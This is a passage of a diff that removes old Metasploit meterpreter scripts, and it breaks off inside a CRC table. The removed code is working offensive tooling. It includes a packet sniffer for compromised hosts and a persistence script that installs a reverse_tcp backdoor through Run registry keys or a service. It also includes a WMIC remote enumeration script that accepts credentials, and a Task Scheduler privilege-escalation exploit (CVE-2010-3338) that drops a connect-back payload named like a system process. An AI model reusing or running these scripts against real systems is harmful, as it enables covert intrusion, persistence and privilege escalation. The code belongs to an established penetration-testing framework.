"-h" => [ false, "Help menu."],
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
"-i" => [ true, "Interface ID number where all packet capture will be done."],
"-li" => [ false, "List interfaces that can be used for capture."],
"-l" => [ true, "Specify and alternate folder to save PCAP file."]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for capturing packets in to a PCAP file"
print_line "on a target host given a interface ID."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Function for creating log folder and returning log pa
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
return Rex::FileUtils.clean_path(logfile)
end
#Function for Starting Capture
#-------------------------------------------------------------------------------
def startsniff(interface_id)
begin
#Load Sniffer module
@client.core.use("sniffer")
print_status("Starting Packet capture on interface #{interface_id}")
#starting packet capture with a buffer size of 200,000 packets
@client.sniffer.capture_start(interface_id, 200000)
print_good("Packet capture started")
rescue ::Exception => e
print_status("Error Starting Packet Capture: #{e.class} #{e}")
raise Rex::Script::Completed
end
end
#Function for Recording captured packets into PCAP file
#-------------------------------------------------------------------------------
def packetrecord(packtime, logfile,intid)
begin
rec = 1
print_status("Packets being saved in to #{logfile}")
print_status("Packet capture interval is #{packtime} Seconds")
#Inserting Packets every number of seconds specified
while rec == 1
path_cap = logfile
path_raw = logfile + '.raw'
fd = ::File.new(path_raw, 'wb+')
#Flushing Buffers
res = @client.sniffer.capture_dump(intid)
bytes_all = res[:bytes] || 0
bytes_got = 0
bytes_pct = 0
while (bytes_all > 0)
res = @client.sniffer.capture_dump_read(intid,1024*512)
bytes_got += res[:bytes]
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
if(pct > bytes_pct)
bytes_pct = pct
end
break if res[:bytes] == 0
fd.write(res[:data])
end
fd.close
#Converting raw file to PCAP
fd = nil
if(::File.exist?(path_cap))
fd = ::File.new(path_cap, 'ab+')
else
fd = ::File.new(path_cap, 'wb+')
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
end
od = ::File.new(path_raw, 'rb')
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
while(true)
buf = od.read(20)
break if not buf
idh,idl,thi,tlo,len = buf.unpack('N5')
break if not len
if(len > 10000)
print_error("Corrupted packet data (length:#{len})")
break
end
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
pkt = od.read(len)
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
end
od.close
fd.close
::File.unlink(path_raw)
sleep(2)
sleep(packtime.to_i)
end
rescue::Exception => e
print("\n")
print_status("#{e.class} #{e}")
print_good("Stopping Packet sniffer...")
@client.sniffer.capture_stop(intid)
end
end
# Function for listing interfaces
# ------------------------------------------------------------------------------
def int_list()
begin
@client.core.use("sniffer")
ifaces = @client.sniffer.interfaces()
print_line()
ifaces.each do |i|
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
i['idx'], i['description'],
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
)
end
print_line()
rescue ::Exception => e
print_error("Error listing interface: #{e.class} #{e}")
end
raise Rex::Script::Completed
end
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-i"
int_id = val.to_i
when "-l"
log_dest = val
when "-li"
list_int = 1
when "-t"
rec_time = val
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
if !int_id.nil? or !list_int.nil?
if not is_uac_enabled? or is_admin?
if !list_int.nil?
int_list
else
pcap_file = log_file(log_dest)
startsniff(int_id)
packetrecord(rec_time,pcap_file,int_id)
end
else
print_error("Access denied (UAC enabled?)")
end
else
usage
end

View File

@ -1,259 +0,0 @@
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter Session
@client = client
key = "HKLM"
# Default parameters for payload
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
delay = 5
install = false
autoconn = false
serv = false
altexe = nil
target_dir = nil
payload_type = "windows/meterpreter/reverse_tcp"
script = nil
script_on_target = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on which the system running Metasploit is listening"],
"-i" => [ true, "The interval in seconds between each connection attempt"],
"-X" => [ false, "Automatically start the agent when the system boots"],
"-U" => [ false, "Automatically start the agent when the User logs on"],
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
"-T" => [ true, "Alternate executable template to use"],
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
)
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
return pay.generate
end
# Function for Creating persistent script
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw,is_x64)
if is_x64
if altexe
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
end
else
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
end
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
end
# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
end
# Function for writing script to target host
#-------------------------------------------------------------------------------
def write_script_to_target(target_dir,vbs)
if target_dir
tempdir = target_dir
else
tempdir = @client.fs.file.expand_path("%TEMP%")
end
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
fd = @client.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
# Escape windows pathname separators.
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
return tempvbs
end
# Function for setting exploit/multi/handler for autocon
#-------------------------------------------------------------------------------
def set_handler(selected_payload,rhost,rport)
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = @client.workspace
mul.datastore['PAYLOAD'] = selected_payload
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("exploit/multi/handler started!")
end
# Function to execute script on target and return the PID of the process
#-------------------------------------------------------------------------------
def targets_exec(script_on_target)
print_status("Executing script #{script_on_target}")
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
print_good("Agent executed with PID #{proc.pid}")
return proc.pid
end
# Function to install payload in to the registry HKLM or HKCU
#-------------------------------------------------------------------------------
def write_to_reg(key,script_on_target)
nam = Rex::Text.rand_text_alpha(rand(8)+8)
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{key_path}\\#{nam}")
if key
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
print_good("Installed into autorun as #{key_path}\\#{nam}")
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
else
print_error("Error: failed to open the registry key for writing")
end
end
# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_as_service(script_on_target)
if not is_uac_enabled? or is_admin?
print_status("Installing as service..")
nam = Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating service #{nam}")
service_create(nam, nam, "cscript \"#{script_on_target}\"")
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
else
print_error("Insufficient privileges to create service")
end
end
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-r"
rhost = val
when "-p"
rport = val.to_i
when "-i"
delay = val.to_i
when "-X"
install = true
key = "HKLM"
when "-S"
serv = true
when "-U"
install = true
key = "HKCU"
when "-A"
autoconn = true
when "-L"
target_dir = val
when "-T"
altexe = val
when "-P"
payload_type = val
end
}
# Check for Version of Meterpreter
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
wrong_meter_version(client.session_type)
end
print_status("Running Persistence Script")
# Create undo script
@clean_up_rc = log_file()
print_status("Resource file for cleanup created at #{@clean_up_rc}")
# Create and Upload Payload
raw = create_payload(payload_type, rhost, rport)
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
script_on_target = write_script_to_target(target_dir, script)
# Start exploit/multi/handler
if autoconn
set_handler(payload_type, rhost, rport)
end
# Execute on target host
targets_exec(script_on_target)
# Install in registry
if install
write_to_reg(key,script_on_target)
end
# Install as a service
if serv
install_as_service(script_on_target)
end

View File

@ -1,195 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#Meterpreter script for extracting information from windows prefetch folder
#Provided by Milo at keith.lee2012[at]gmail.com
#Verion: 0.1.0
require 'fileutils'
require 'net/http'
require 'digest/sha1'
@session = client
@host,@port = @session.session_host, session.session_port
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-p" => [ false, "List Installed Programs"],
"-c" => [ false, "Disable SHA1/MD5 checksum"],
"-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"],
"-i" => [ false, "Perform lookup for software name"],
"-l" => [ false, "Download Prefetch Folder Analysis Log"]
)
@tempdir = @session.sys.config.getenv('TEMP')
#---------------------------------------------------------------------------------------------------------
def read_program_list
key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
sfmsvals = key.enum_key
sfmsvals.each do |test1|
begin
key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
root_key2, base_key2 = @session.sys.registry.splitkey(key2)
value1 = "DisplayName"
value2 = "DisplayVersion"
open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
v1 = open_key.query_value(value1)
v2 = open_key.query_value(value2)
print_status("#{v1.data}\t(Version: #{v2.data})")
rescue
end
end
end
def prefetch_dump(options, logging=false)
lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
rexe = sprintf("%.5d",rand(100000)) + ".exe"
rlog = sprintf("%.5d",rand(100000)) + ".txt"
print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
begin
@session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
rescue ::Interrupt; raise $!
rescue ::Exception => e
print_status("The following error was encountered: #{e.class} #{e}")
return
end
begin
if(logging)
options += " --txt=#{@tempdir}\\#{rlog}"
end
r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
while(d = r.channel.read)
d.split("\n").each do |out|
print_status("OUT> #{out.strip}")
end
end
found = true
while (not found)
found = false
@session.sys.process.get_processes().each do |x|
found = false
if (x['name'].downcase == rexe)
found = true
end
end
sleep(0.5) if found
end
r.channel.close
r.close
print_status("Deleting #{rexe} from target...")
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})
print_status("Clearing prefetch-tool prefetch entry ...")
@session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})
if(logging)
logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
print_status("[*] Saving prefetch logs to #{logfile}...")
@session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
print_status("[*] Deleting log file from target...")
@session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
end
rescue ::Interrupt; raise $!
rescue ::Exception => e
print_status("The following error was encountered: #{e.class} #{e}")
return
end
end
#check for proper Meterpreter Platform
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
################## MAIN ##################
options = ""
logging = false
view_list = false
check_update = false
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-x"
options += " --x=" + val
when "-c"
options += " --disable-md5 --disable-sha1"
when "-p"
view_list = true
when "-i"
options += " --inet-lookup"
when "-l"
logging = true
when "-h"
print_status( "Prefetch-tool Meterpreter Script")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
unsupported if client.platform !~ /win32|win64/i
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")
if !(::File.exist?(prefetch_local))
print_status("No local copy of prefetch.exe, downloading from the internet...")
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
req = Net::HTTP::Get.new("/files/prefetch.exe")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
fd.write(resp.body)
end
end
print_status("Downloaded prefetch.exe to #{prefetch_local}")
else
print_status("Checking for an updated copy of prefetch.exe..")
digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))
Net::HTTP.start("code.google.com") do |http|
req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
resp = http.request(req)
body = resp.body
chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0]
chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'')
chksum.sub!(/ <a href/,'')
if (digest != chksum)
print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
req = Net::HTTP::Get.new("/files/prefetch.exe")
resp = http.request(req)
::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
fd.write(resp.body)
end
end
print_status("Downloaded prefetch.exe to #{prefetch_local}")
end
end
end
if (view_list)
read_program_list()
end
print_status("Running Prefetch-tool script...")
prefetch_dump(options, logging)

View File

@ -1,196 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
# Variables for Options
helpcall = 0
rusr = nil
rpass = nil
trg = ""
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-t" => [ true, "The target address"],
"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],
"-p" => [ true, "Password of user on target system"]
)
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')
# Create the log directory
::FileUtils.mkdir_p(logs)
# WMIC Commands that will be executed on the Target
wmic = [
'environment list',
'share list',
'nicconfig list',
'computersystem list',
'useraccount list',
'group list',
'sysaccount list',
'volume list brief',
'logicaldisk get description,filesystem,name,size',
'netlogin get name,lastlogon,badpasswordcount',
'netclient list brief',
'netuse get name,username,connectiontype,localname',
'share get name,path',
'nteventlog get path,filename,writeable',
'service list brief',
'process list brief',
'startup list full',
'rdtoggle list',
'product get name,version',
'qfe list'
]
################## Function Declarations ##################
# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmic,user,pass,trgt)
print_status("Running WMIC Commands ....")
tmpout = ''
command = nil
runfail = 0
runningas = session.sys.config.getuid
begin
tmp = session.sys.config.getenv('TEMP')
# Temporary file on windows host to store results
wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
wmic.each do |wmi|
if user == nil
print_status("The commands will be ran under the credentials of #{runningas}")
command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
else
command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
end
print_status "\trunning command wimic #{wmi}"
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
sleep(1)
#print_status "\twmic #{command}"
r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
#Making sure that wmic finishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
sleep(2)
while found == 0
session.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
end
# Read the output file of the wmic commands
wmioutfile = session.fs.file.new(wmicfl, "rb")
until wmioutfile.eof?
tmpout << wmioutfile.read
end
# Close output file in host
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC commands: #{e.class} #{e}")
end
# We delete the file with the wmic command output.
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout
end
#------------------------------------------------------------------------------
# Function to generate report header
def headerbuid(session,target,dest)
# Header for File that will hold all the output of the commands
info = session.sys.config.sysinfo
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
header << "Running as: #{client.sys.config.getuid}\n"
header << "From: #{info['Computer']}\n"
header << "OS: #{info['OS']}\n"
header << "Target: #{target}\n"
header << "\n\n\n"
print_status("Saving report to #{dest}")
header
end
#------------------------------------------------------------------------------
# Function Help Message
def helpmsg
print("Remote Windows Enumeration Meterpreter Script\n" +
"This script will enumerate windows hosts in the target enviroment\n" +
"given a username and password or using the credential under witch\n" +
"Meterpeter is running using WMI wmic windows native tool.\n" +
"Usage:\n" +
@@exec_opts.usage)
end
################## MAIN ##################
if client.platform =~ /win32|win64/
localos = session.sys.config.sysinfo
# Check that the command is not being ran on a Win2k host
# since wmic is not present in Windows 2000
if localos =~ /(Windows 2000)/
print_status("This script is not supported to be ran from Windows 2000 servers!!!")
else
# Parsing of Options
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
trg = val
when "-u"
rusr = val
when "-p"
rpass = val
when "-h"
helpmsg
helpcall = 1
end
}
#logfile name
dest = logs + "/" + trg + filenameinfo
# Executing main logic of the script
if helpcall == 0 and trg != ""
# Making sure that is running as System a Username and Password for target machine must be provided
if is_system? && rusr == nil && rpass == nil
print_status("Stopped: Running as System and no user provided for connecting to target!!")
else trg != nil && helpcall != 1
file_local_write(dest,headerbuid(session,trg,dest))
file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
end
elsif helpcall == 0 and trg == ""
helpmsg
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,394 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
##
#
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
#
# Disclosed around Oct 22, 2010
#
# written by jduck
#
# NOTE: Thanks to webDEViL for the information about disable/enable.
# http://www.exploit-db.com/exploits/15589/
#
# CVE 2010-3338
# MSB MS10-092
#
##
require 'zlib'
#
# Filter out sessions that this definitely won't work on.
#
unless [ARCH_X64, ARCH_X86, ARCH_JAVA].include(session.arch)
print_error("#{session.arch} is not supported.")
raise Rex::Script::Completed
end
unless session.platform == 'windows'
print_error("#{session.platform} is not supported.")
raise Rex::Script::Completed
end
if session.sys.config.sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
#
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
# worse, meterpreter/railgun creates things in a new thread, making it much more
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
# offer a workaround and error out.
#
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
raise Rex::Script::Completed
end
vuln = false
winver = session.sys.config.sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
vuln = true
break
end
}
if not vuln
print_error("#{winver} is not vulnerable.")
raise Rex::Script::Completed
end
#
# We have a chance to succeed, check params
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-c" => [ true, "Execute the specified command" ],
"-u" => [ true, "Upload and execute the specified file" ],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
"-t" => [ true, "Use the specified task name" ]
)
def usage
print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
rhost = Rex::Socket.source_address
rport = 4444
taskname = nil
cmd = nil
upload_fn = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
cmd = val
when "-u"
upload_fn = val
if not ::File.exist?(upload_fn)
raise "Specified file to upload does not exist!"
end
when "-t"
taskname = val
when "-h"
usage
when "-r"
rhost = val
when "-p"
rport = val.to_i
end
}
envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
sysdir = envs['SystemRoot']
tmpdir = envs['TEMP']
# Must have at least one of -c or -u
if not cmd and not upload_fn
print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
# Get the exe payload.
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
raw = pay.generate
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
#and placing it on the target in %TEMP%
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
cmd = tmpdir + "\\" + tempexename + ".exe"
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
fd = client.fs.file.new(cmd, "wb")
fd.write(exe)
fd.close
#get handler to be ready
handler = client.framework.exploits.create("multi/handler")
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
handler.datastore['LHOST'] = rhost
handler.datastore['LPORT'] = rport
handler.datastore['InitialAutoRunScript'] = "migrate -f"
handler.datastore['ExitOnSession'] = false
#start a handler to be ready
handler.exploit_simple(
'Payload' => handler.datastore['PAYLOAD'],
'RunAsJob' => true
)
end
if cmd
print_status("Using command: #{cmd}")
end
#
# Upload the payload command if needed
#
if upload_fn
begin
location = tmpdir.dup
ext = upload_fn.split('.')
if ext
ext = ext.last.downcase
if ext == "exe"
location << "\\svhost#{rand(100)}.exe"
else
location << "\\TMP#{rand(100)}.#{ext}"
end
else
location << "\\TMP#{rand(100)}"
end
print_status("Uploading #{upload_fn} to #{location}....")
session.fs.file.upload_file(location, upload_fn)
print_status("Upload complete.")
rescue ::Exception => e
print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
raise e
end
cmd ||= location
end
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
crc
end
def fix_crc32(data, old_crc)
#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# reversed from Microsoft's code)
#
bwd_table = [
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
